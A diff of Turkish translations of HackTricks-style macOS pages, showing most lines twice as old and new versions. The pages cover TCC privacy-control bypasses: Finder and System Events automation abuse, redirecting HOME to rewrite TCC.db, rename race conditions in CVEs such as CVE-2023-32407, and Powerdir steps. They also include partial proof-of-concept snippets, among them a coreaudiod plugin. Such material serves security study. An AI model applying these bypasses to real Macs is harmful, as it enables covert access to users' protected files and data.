**Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu nedenle eğer üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları **bazı eylemleri gerçekleştirmek için** kötüye kullanabilirsiniz.\ **Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu nedenle eğer üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları **bazı eylemleri gerçekleştirmek için** kötüye kullanabilirsiniz.\
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır. Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
@ -442,7 +442,7 @@ EOD
touch "$HOME/Desktop/file" touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file" rm "$HOME/Desktop/file"
``` ```
### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** FDA\* için ### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** FDA\*
**`System Events`** üzerindeki otomasyon + Erişilebilirlik (**`kTCCServicePostEvent`**) süreçlere **tuş vuruşları göndermeye** olanak tanır. Bu şekilde, kullanıcıların TCC.db'sini değiştirmek veya rastgele bir uygulamaya FDA vermek için Finder'ı kötüye kullanabilirsiniz (bunun için şifre istenebilir). **`System Events`** üzerindeki otomasyon + Erişilebilirlik (**`kTCCServicePostEvent`**) süreçlere **tuş vuruşları göndermeye** olanak tanır. Bu şekilde, kullanıcıların TCC.db'sini değiştirmek veya rastgele bir uygulamaya FDA vermek için Finder'ı kötüye kullanabilirsiniz (bunun için şifre istenebilir).
@ -494,7 +494,7 @@ EOF
``` ```
### `kTCCServiceAccessibility` için FDA\* ### `kTCCServiceAccessibility` için FDA\*
Erişim izinlerini kötüye kullanmak için bazı [**payload'lar**](macos-tcc-payloads.md#accessibility) kontrol edin, FDA\*'ya privesc yapmak veya örneğin bir keylogger çalıştırmak için. Accessibility izinlerini kötüye kullanmak için bazı [**payload'lar**](macos-tcc-payloads.md#accessibility) kontrol edin, örneğin FDA\*'ya privesc yapmak veya bir keylogger çalıştırmak için.
### **Endpoint Security Client için FDA** ### **Endpoint Security Client için FDA**
@ -502,7 +502,7 @@ Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. S
### Sistem Politikası SysAdmin Dosyası için FDA ### Sistem Politikası SysAdmin Dosyası için FDA
**`kTCCServiceSystemPolicySysAdminFiles`** bir kullanıcının ev dizinini değiştiren **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir ve böylece **TCC'yi atlatmaya** olanak tanır. **`kTCCServiceSystemPolicySysAdminFiles`** bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir, bu da ev dizinini değiştirir ve dolayısıyla **TCC'yi atlamasına** olanak tanır.
### Kullanıcı TCC DB'si için FDA ### Kullanıcı TCC DB'si için FDA
@ -514,11 +514,11 @@ Ama kendinize **`Finder için Otomasyon hakları`** verebilir ve önceki tekniğ
**Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**'dir. **Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**'dir.
Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcı bir teknik olarak faydalı olabilir. Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcılık tekniği olarak faydalı olabilir.
### **SIP Atlatma ile TCC Atlatma** ### **SIP Atlatma ile TCC Atlatma**
Sistem **TCC veritabanı** **SIP** ile korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlatması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir: Sistem **TCC veritabanı** **SIP** tarafından korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlatması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir:
- **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyaları kötüye kullanabilir: - **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyaları kötüye kullanabilir:
- TCC sistem veritabanı - TCC sistem veritabanı

View File

@ -6,11 +6,11 @@
**Apple Events**, uygulamaların birbirleriyle iletişim kurmasına olanak tanıyan bir macOS özelliğidir. Bunlar, interprocess iletişimini yöneten macOS işletim sisteminin bir bileşeni olan **Apple Event Manager**'ın bir parçasıdır. Bu sistem, bir uygulamanın başka bir uygulamaya belirli bir işlemi gerçekleştirmesi için bir mesaj göndermesini sağlar; örneğin, bir dosyayı açmak, veri almak veya bir komut yürütmek gibi. **Apple Events**, uygulamaların birbirleriyle iletişim kurmasına olanak tanıyan bir macOS özelliğidir. Bunlar, interprocess iletişimini yöneten macOS işletim sisteminin bir bileşeni olan **Apple Event Manager**'ın bir parçasıdır. Bu sistem, bir uygulamanın başka bir uygulamaya belirli bir işlemi gerçekleştirmesi için bir mesaj göndermesini sağlar; örneğin, bir dosyayı açmak, veri almak veya bir komut yürütmek gibi.
Mina daemon'ı `/System/Library/CoreServices/appleeventsd` olup, `com.apple.coreservices.appleevents` hizmetini kaydeder. mina daemon'ı `/System/Library/CoreServices/appleeventsd` olup, `com.apple.coreservices.appleevents` hizmetini kaydeder.
Olay alabilen her uygulama, Apple Event Mach Port'unu sağlayarak bu daemon ile kontrol edecektir. Ve bir uygulama bir olayı göndermek istediğinde, uygulama bu portu daemon'dan talep edecektir. Olay alabilen her uygulama, Apple Event Mach Port'unu sağlayarak bu daemon ile kontrol edilir. Bir uygulama bir olayı göndermek istediğinde, daemon'dan bu portu talep eder.
Sandboxed uygulamalar, olay gönderebilmek için `allow appleevent-send` ve `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))` gibi ayrıcalıklara ihtiyaç duyar. `com.apple.security.temporary-exception.apple-events` gibi yetkilendirmelerin, olay gönderebilecek kişileri kısıtlayabileceğini unutmayın; bu da `com.apple.private.appleevents` gibi yetkilendirmeler gerektirebilir. Sandboxed uygulamalar, olay gönderebilmek için `allow appleevent-send` ve `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))` gibi ayrıcalıklara ihtiyaç duyar. `com.apple.security.temporary-exception.apple-events` gibi yetkilendirmelerin, olay gönderebilecek kişileri kısıtlayabileceğini unutmayın; bu da `com.apple.private.appleevents` gibi yetkilendirmelere ihtiyaç duyacaktır.
> [!TIP] > [!TIP]
> Gönderilen mesaj hakkında bilgi kaydetmek için **`AEDebugSends`** ortam değişkenini kullanmak mümkündür: > Gönderilen mesaj hakkında bilgi kaydetmek için **`AEDebugSends`** ortam değişkenini kullanmak mümkündür:

View File

@ -2,7 +2,7 @@
{{#include ../../../../../banners/hacktricks-training.md}} {{#include ../../../../../banners/hacktricks-training.md}}
## İşlevselliğe Göre ## İşlevselliğe göre
### Yazma Bypass'ı ### Yazma Bypass'ı
@ -27,7 +27,7 @@ Kullanıcının **bunu fark etmeden kabul etmesi için TCC isteminin üzerine bi
### TCC İsteği rastgele isimle ### TCC İsteği rastgele isimle
Saldırgan, **`Info.plist`** dosyasında **herhangi bir isimle uygulama oluşturabilir** (örneğin Finder, Google Chrome...) ve bunu bazı TCC korumalı konumlara erişim istemesi için ayarlayabilir. Kullanıcı, bu erişimi talep edenin meşru uygulama olduğunu düşünecektir.\ Saldırgan, **`Info.plist`** dosyasında **herhangi bir isimle uygulama oluşturabilir** (örneğin Finder, Google Chrome...) ve bunu bazı TCC korumalı konumlara erişim istemesi için ayarlayabilir. Kullanıcı, bu erişimi talep edenin meşru uygulama olduğunu düşünecektir.\
Ayrıca, **meşru uygulamayı Dock'tan kaldırmak ve sahte olanı yerleştirmek** mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinleri isteyebilir ve bir kötü amaçlı yazılım çalıştırabilir, bu da kullanıcının meşru uygulamanın erişim talep ettiğine inanmasına neden olur. Ayrıca, meşru uygulamayı Dock'tan **kaldırmak ve sahte olanı yerleştirmek** mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinlerini isteyebilir ve bir kötü amaçlı yazılım çalıştırabilir, bu da kullanıcının meşru uygulamanın erişim talep ettiğine inanmasına neden olur.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -66,7 +66,7 @@ Bu yetkiden **icloud token'ları almak için** istismara dair daha fazla **bilgi
### kTCCServiceAppleEvents / Automation ### kTCCServiceAppleEvents / Automation
**`kTCCServiceAppleEvents`** iznine sahip bir uygulama, **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **istismar edebileceği** anlamına gelir. **`kTCCServiceAppleEvents`** iznine sahip bir uygulama, **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **suistimal edebileceği** anlamına gelir.
Apple Script'leri hakkında daha fazla bilgi için kontrol edin: Apple Script'leri hakkında daha fazla bilgi için kontrol edin:
@ -74,7 +74,7 @@ Apple Script'leri hakkında daha fazla bilgi için kontrol edin:
macos-apple-scripts.md macos-apple-scripts.md
{{#endref}} {{#endref}}
Örneğin, bir Uygulama **`iTerm`** üzerinde **Otomasyon iznine** sahipse, bu örnekte **`Terminal`** iTerm üzerinde erişime sahiptir: Örneğin, bir Uygulama **`iTerm`** üzerinde **Otomasyon iznine** sahipse, bu örnekte **`Terminal`** iTerm'e erişime sahiptir:
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
@ -114,7 +114,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
Kullanıcı alanındaki **tccd daemon** **`HOME`** **env** değişkenini **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** adresinden TCC kullanıcı veritabanına erişmek için kullanıyor. Kullanıcı alanındaki **tccd daemon** **`HOME`** **env** değişkenini **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** adresinden TCC kullanıcı veritabanına erişmek için kullanıyor.
[Tam bu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'u mevcut kullanıcının alanında `launchd` aracılığıyla çalıştığı için, ona iletilen **tüm ortam değişkenlerini kontrol etmek** mümkündür.\ [Bu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'u mevcut kullanıcının alanında `launchd` aracılığıyla çalıştığı için, ona iletilen **tüm ortam değişkenlerini kontrol etmek** mümkündür.\
Bu nedenle, bir **saldırgan `$HOME` ortam** değişkenini **`launchctl`** içinde **kontrol edilen** bir **dizine** işaret edecek şekilde ayarlayabilir, **TCC** daemon'unu **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirebilir** ve kendisine **mevcut tüm TCC yetkilerini** verebilir, son kullanıcıyı asla uyarmadan.\ Bu nedenle, bir **saldırgan `$HOME` ortam** değişkenini **`launchctl`** içinde **kontrol edilen** bir **dizine** işaret edecek şekilde ayarlayabilir, **TCC** daemon'unu **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirebilir** ve kendisine **mevcut tüm TCC yetkilerini** verebilir, son kullanıcıyı asla uyarmadan.\
PoC: PoC:
```bash ```bash
@ -153,7 +153,7 @@ Notlar TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda
`/usr/libexec/lsd` ikili dosyası, **nullfs** montajını oluşturmasına izin veren `com.apple.private.nullfs_allow` yetkisine sahipti ve her dosyaya erişim için **`kTCCServiceSystemPolicyAllFiles`** ile `com.apple.private.tcc.allow` yetkisine sahipti. `/usr/libexec/lsd` ikili dosyası, **nullfs** montajını oluşturmasına izin veren `com.apple.private.nullfs_allow` yetkisine sahipti ve her dosyaya erişim için **`kTCCServiceSystemPolicyAllFiles`** ile `com.apple.private.tcc.allow` yetkisine sahipti.
"Library" üzerine karantina niteliği eklemek, **`com.apple.security.translocation`** XPC hizmetini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek mümkündü; burada Library içindeki tüm belgeler **erişilebilir** hale geliyordu. "Library" üzerine karantina niteliği eklemek, **`com.apple.security.translocation`** XPC hizmetini çağırmak mümkün oldu ve ardından Library, **`$TMPDIR/AppTranslocation/d/d/Library`** olarak haritalandı; burada Library içindeki tüm belgeler **erişilebilir** hale geldi.
### CVE-2023-38571 - Müzik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a> ### CVE-2023-38571 - Müzik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
@ -162,16 +162,16 @@ Notlar TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
Bu **`rename(a, b);`** davranışı bir **Race Condition**'a karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası koymak ve ardından yeni klasör (b) oluşturulduğunda dosyayı kopyalayıp silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye işaret etmek mümkündür. Bu **`rename(a, b);`** davranışı bir **Race Condition**'a karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasör (b) oluşturulduğunda dosyayı kopyalayıp silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye işaret etmek mümkündür.
### SQLITE_SQLLOG_DIR - CVE-2023-32422 ### SQLITE_SQLLOG_DIR - CVE-2023-32422
Eğer **`SQLITE_SQLLOG_DIR="path/folder"`** ise, bu temelde **her açık veritabanının o yola kopyalanması** anlamına gelir. Bu CVE'de bu kontrol, **TCC veritabanını FDA ile açacak bir süreç içinde** **SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`** ile dosya adında bir **symlink** kullanılarak, o veritabanı **açıldığında**, kullanıcı **TCC.db**ılanla **üzerine yazıldı**.\ Eğer **`SQLITE_SQLLOG_DIR="path/folder"`** ise, bu temelde **her açık veritabanının o yola kopyalanması** anlamına gelir. Bu CVE'de bu kontrol, **TCC veritabanını FDA ile açacak bir süreç tarafından** **açılacak** bir **SQLite veritabanına** **yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`** ile dosya adında bir **sembolik bağlantı** kullanılarak, o veritabanı **açıldığında**, kullanıcı **TCC.db**ılanla **üst üste yazıldı**.\
**Daha fazla bilgi** [**yazıda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve**[ **sohbette**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). **Daha fazla bilgi** [**yazıda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve**[ **sohbette**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE** ### **SQLITE_AUTO_TRACE**
Eğer ortam değişkeni **`SQLITE_AUTO_TRACE`** ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığı için, tüm SQLite sorgularını kaydetmek mümkündü. Eğer ortam değişkeni **`SQLITE_AUTO_TRACE`** ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığı için, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullandı. Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullandı.
```bash ```bash
@ -180,22 +180,22 @@ launchctl setenv SQLITE_AUTO_TRACE 1
``` ```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407 ### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
Bu **env değişkeni `Metal` çerçevesi tarafından kullanılır** ve çeşitli programlar için bir bağımlılıktır, en önemlisi FDA'ya sahip olan `Music` programıdır. Bu **env değişkeni `Metal` çerçevesi tarafından kullanılır** ve çeşitli programlar için bir bağımlılıktır, en önemlisi FDA'ya sahip `Music` programıdır.
Aşağıdakileri ayarlamak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizinse, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz: Aşağıdakileri ayarlamak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizinse, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz:
- `open()` ile `path/.dat.nosyncXXXX.XXXXXX` adında bir dosya açılacak (X rastgele) - `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak
- bir veya daha fazla `write()` dosyaya içerik yazacak (bunu kontrol edemiyoruz) - bir veya daha fazla `write()` dosyaya içerik yazacak (bunu kontrol edemiyoruz)
- `path/.dat.nosyncXXXX.XXXXXX` `renamed()` olacak ve `path/name` olarak değiştirilecek - `path/.dat.nosyncXXXX.XXXXXX` `renamed()` olacak ve `path/name` olarak değiştirilecek
Bu geçici bir dosya yazımıdır, ardından **`rename(old, new)`** **güvenli değildir.** Bu, geçici bir dosya yazımıdır ve ardından **`rename(old, new)`** **güvenli değildir.**
Güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi gerekir**, bu da biraz zaman alabilir ve Race Condition'a karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu `renameat_internal()`'a bakabilirsiniz. Güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi gerekir**, bu da biraz zaman alabilir ve Race Condition'a karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu `renameat_internal()`'a bakabilirsiniz.
> [!CAUTION] > [!CAUTION]
> Yani, temelde, eğer ayrı bir klasörden yeniden adlandırma yapan ayrıcalıklı bir işlem varsa, bir RCE kazanabilir ve farklı bir dosyaya erişmesini sağlayabilirsiniz veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayııp bir FD saklayabilirsiniz. > Yani, temelde, eğer ayrı bir klasörden yeniden adlandırma yapan ayrıcalıklı bir işlem varsa, bir RCE kazanabilir ve farklı bir dosyaya erişmesini sağlayabilirsiniz veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayııp bir FD saklayabilirsiniz.
> >
> Eğer yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirdiğiniz veya ona bir FD'ye sahip olduğunuz sürece, hedef dosyayı (veya klasörü) bir symlink'e işaret edecek şekilde değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz. > Eğer yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse ve kaynak dosyayı değiştirmişseniz veya ona bir FD'ye sahipseniz, hedef dosyayı (veya klasörü) bir symlink'e işaret edecek şekilde değiştirirsiniz, böylece istediğiniz zaman yazabilirsiniz.
CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için şunları yapabiliriz: CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için şunları yapabiliriz:
@ -203,9 +203,9 @@ CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzeri
- `/Users/hacker/tmp/` dizinini oluşturmak - `/Users/hacker/tmp/` dizinini oluşturmak
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` ayarlamak - `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` ayarlamak
- bu env değişkeni ile `Music` çalıştırarak hatayı tetiklemek - bu env değişkeni ile `Music` çalıştırarak hatayı tetiklemek
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()` işlemini yakalamak (X rastgele) - `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X rastgele) dosyasının `open()` işlemini yakalamak
- burada bu dosyayı yazma için de `open()` yapıyoruz ve dosya tanımlayıcısını tutuyoruz - burada bu dosyayı yazma için de `open()` yapıyoruz ve dosya tanımlayıcısını tutuyoruz
- `/Users/hacker/tmp` ile `/Users/hacker/ourlink`'i **bir döngü içinde atomik olarak değiştirmek** - `/Users/hacker/tmp` ile `/Users/hacker/ourlink`'i **bir döngü içinde atomik olarak değiştiriyoruz**
- bunu, yarış penceresi oldukça dar olduğu için başarılı olma şansımızı artırmak için yapıyoruz, ancak yarışı kaybetmenin önemsiz bir dezavantajı var - bunu, yarış penceresi oldukça dar olduğu için başarılı olma şansımızı artırmak için yapıyoruz, ancak yarışı kaybetmenin önemsiz bir dezavantajı var
- biraz beklemek - biraz beklemek
- şansımızı test etmek - şansımızı test etmek
@ -234,44 +234,44 @@ Bu nedenle, eğer kullanıcı TCC'yi $HOME env değişkeni **farklı bir klasör
### CVE-2021-30970 - Powerdir ### CVE-2021-30970 - Powerdir
**İlk POC**, kullanıcının **HOME** klasörünü değiştirmek için [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ve [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) kullanır. **ilk POC**, kullanıcının **HOME** klasörünü değiştirmek için [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ve [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) kullanır.
1. Hedef uygulama için bir _csreq_ blob alın. 1. Hedef uygulama için bir _csreq_ blob alın.
2. Gerekli erişimle sahte bir _TCC.db_ dosyası yerleştirin ve _csreq_ blobunu ekleyin. 2. Gerekli erişim ve _csreq_ blob ile sahte bir _TCC.db_ dosyası yerleştirin.
3. Kullanıcının Dizin Servisleri kaydını [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın. 3. Kullanıcının Dizin Servisleri kaydını [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın.
4. Kullanıcının ana dizinini değiştirmek için Dizin Servisleri kaydını değiştirin. 4. Kullanıcının ana dizinini değiştirmek için Dizin Servisleri kaydını değiştirin.
5. Değiştirilen Dizin Servisleri kaydını [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın. 5. Değiştirilen Dizin Servisleri kaydını [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın.
6. Kullanıcının _tccd_ sürecini durdurun ve süreci yeniden başlatın. 6. Kullanıcının _tccd_ sürecini durdurun ve süreci yeniden başlatın.
İkinci POC, `com.apple.private.tcc.allow` ile `kTCCServiceSystemPolicySysAdminFiles` değerine sahip olan **`/usr/libexec/configd`** kullanmıştır.\ İkinci POC, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`** kullanmıştır.\
**`-t`** seçeneği ile **`configd`** çalıştırmak mümkün olduğunda, bir saldırgan **yüklemek için özel bir Bundle** belirtebilir. Bu nedenle, istismar **kullanıcının ana dizinini değiştirmek için** **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirmiştir. **`-t`** seçeneği ile **`configd`** çalıştırmak mümkün olduğunda, bir saldırgan **yüklemek için özel bir Bundle** belirtebilir. Bu nedenle, istismar, kullanıcının ana dizinini değiştirme yöntemini **`dsexport`** ve **`dsimport`** ile **`configd` kod enjeksiyonu** ile değiştirir.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakabilirsiniz. Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın.
## By process injection ## By process injection
Bir süreç içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır: Bir süreç içine kod enjekte etmenin ve TCC ayrıcalıklarını kötüye kullanmanın farklı teknikleri vardır:
{{#ref}} {{#ref}}
../../../macos-proces-abuse/ ../../../macos-proces-abuse/
{{#endref}} {{#endref}}
Ayrıca, TCC'yi atlatmak için en yaygın süreç enjeksiyonu **pluginler (load library)** aracılığıyla bulunmuştur.\ Ayrıca, TCC'yi atlatmak için bulunan en yaygın süreç enjeksiyonu **pluginler (load library)** aracılığıyladır.\
Pluginler, genellikle kütüphaneler veya plist biçiminde olan ek kodlardır ve **ana uygulama tarafından yüklenir** ve onun bağlamında çalıştırılır. Bu nedenle, ana uygulama TCC kısıtlı dosyalara (verilen izinler veya haklar aracılığıyla) erişime sahipse, **özel kod da buna sahip olacaktır**. Pluginler, genellikle ana uygulama tarafından **yüklenen** ve onun bağlamında çalışacak şekilde tasarlanmış ek kodlardır. Bu nedenle, ana uygulama TCC kısıtlı dosyalara (verilen izinler veya haklar aracılığıyla) erişime sahipse, **özel kod da buna sahip olacaktır**.
### CVE-2020-27937 - Directory Utility ### CVE-2020-27937 - Directory Utility
`/System/Library/CoreServices/Applications/Directory Utility.app` uygulaması **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı pluginler yükledi ve **güçlendirilmiş** çalışma zamanına sahip değildi. `/System/Library/CoreServices/Applications/Directory Utility.app` uygulaması **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı pluginler yükledi ve **sertleştirilmiş** çalışma zamanı yoktu.
Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** **değiştirilir** (önceki yetkiyi kötüye kullanarak) böylece kullanıcıların TCC veritabanını ele geçirebiliriz ve TCC'yi atlatabiliriz. Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** **değiştirilir** (önceki yetkiyi kötüye kullanarak) böylece kullanıcıların TCC veritabanını ele geçirebiliriz.
Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakabilirsiniz. Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın.
### CVE-2020-29621 - Coreaudiod ### CVE-2020-29621 - Coreaudiod
Binary **`/usr/sbin/coreaudiod`** `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` yetkilerine sahipti. İlk **kod enjeksiyonuna izin verirken** ikincisi **TCC'yi yönetme** erişimi sağlıyordu. İkili **`/usr/sbin/coreaudiod`** `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` yetkilerine sahipti. İlk **kod enjeksiyonuna izin verirken** ikincisi **TCC'yi yönetme** erişimi sağlıyordu.
Bu binary, **/Library/Audio/Plug-Ins/HAL** klasöründen **üçüncü taraf eklentileri** yüklemeye izin veriyordu. Bu nedenle, bir eklenti yüklemek ve bu PoC ile TCC izinlerini kötüye kullanmak mümkündü: Bu ikili, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri** yüklemeye izin veriyordu. Bu nedenle, bir eklenti yüklemek ve bu PoC ile TCC izinlerini kötüye kullanmak mümkündü:
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <Security/Security.h> #import <Security/Security.h>
@ -302,7 +302,7 @@ Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/pl
### Cihaz Soyutlama Katmanı (DAL) Eklentileri ### Cihaz Soyutlama Katmanı (DAL) Eklentileri
